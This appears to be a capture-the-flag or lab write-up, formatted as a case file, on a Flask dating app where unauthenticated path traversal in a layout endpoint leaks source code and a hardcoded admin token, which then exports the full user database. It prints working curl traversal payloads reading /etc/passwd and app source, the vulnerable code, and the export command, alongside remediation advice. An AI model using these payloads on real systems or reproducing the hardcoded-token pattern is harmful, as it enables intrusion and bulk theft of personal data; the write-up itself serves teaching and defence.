Case file

Unauthenticated LFI to hardcoded admin API and database export

Intermediate web engagement: dating-app layout API accepted path traversal without auth; /proc and app source leaked a static admin token used to export the full SQLite user database.

Intermediate22 minWeb · LFI · Source Disclosure · API Auth
  • Theme layout fetches on port 5000 were LFI. Reading the Python entrypoint exposed CUPID_MASTER_KEY_2024_XOXO; that header unlocked a full DB export.

  • Path traversal on fetch_layout returned /etc/passwd without authentication.

  • Hardcoded X-Valentine-Token unlocked send_file of the SQLite database.

01

Engagement summary

Theme layout fetches on port 5000 were LFI. Reading the Python entrypoint exposed CUPID_MASTER_KEY_2024_XOXO; that header unlocked a full DB export.

VALENFIND ran a Flask dating app on TCP 5000. After registration, profile theme changes called /api/fetch_layout?layout=theme_classic.html. The layout parameter accepted ../../../../etc/passwd without a session cookie. /proc/self/cmdline located /opt/Valenfind/app.py; reading that source disclosed ADMIN_API_KEY and an /api/admin/export_db route gated only by X-Valentine-Token. Presenting the hardcoded key downloaded cupid.db with the full users table.

Business impact

Unauthenticated LFI is source and secret disclosure. Hardcoded admin tokens turn file read into bulk PII export. Resolve layouts against an allowlist, require authenticated sessions on every API, and store admin secrets in a vault — never in application source.

02

Layout parameter LFI

Path traversal on fetch_layout returned /etc/passwd without authentication.

OPERATOR · LFI

savvy@lab:~$ curl -s 'http://10.48.151.100:5000/api/fetch_layout?layout=../../../../etc/passwd' | head

root:x:0:0:root:/root:/bin/bash

...

savvy@lab:~$ curl -s 'http://10.48.151.100:5000/api/fetch_layout?layout=../../../../proc/self/cmdline' -o cmdline.bin && tr '\0' ' ' < cmdline.bin

/usr/bin/python3 /opt/Valenfind/app.py

03

Source leak and admin DB export

Hardcoded X-Valentine-Token unlocked send_file of the SQLite database.

SOURCE · app.py

app.py

ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO"
DATABASE = "cupid.db"

@app.route("/api/admin/export_db")
def export_db():
    if request.headers.get("X-Valentine-Token") == ADMIN_API_KEY:
        return send_file(DATABASE, as_attachment=True)
    return jsonify({"error": "Forbidden"}), 403

OPERATOR · EXPORT

savvy@lab:~$ curl -s 'http://10.48.151.100:5000/api/fetch_layout?layout=../../../../opt/Valenfind/app.py' | head -n 40

savvy@lab:~$ curl -H "X-Valentine-Token: CUPID_MASTER_KEY_2024_XOXO" http://10.48.151.100:5000/api/admin/export_db -o valenfind.db

savvy@lab:~$ sqlite3 valenfind.db 'SELECT email, role FROM users;'

# full user table exported

Remediation

Map layout names to files on disk; never concatenate user input into paths. Rotate the leaked admin token, require MFA for export endpoints, and keep PII exports audited.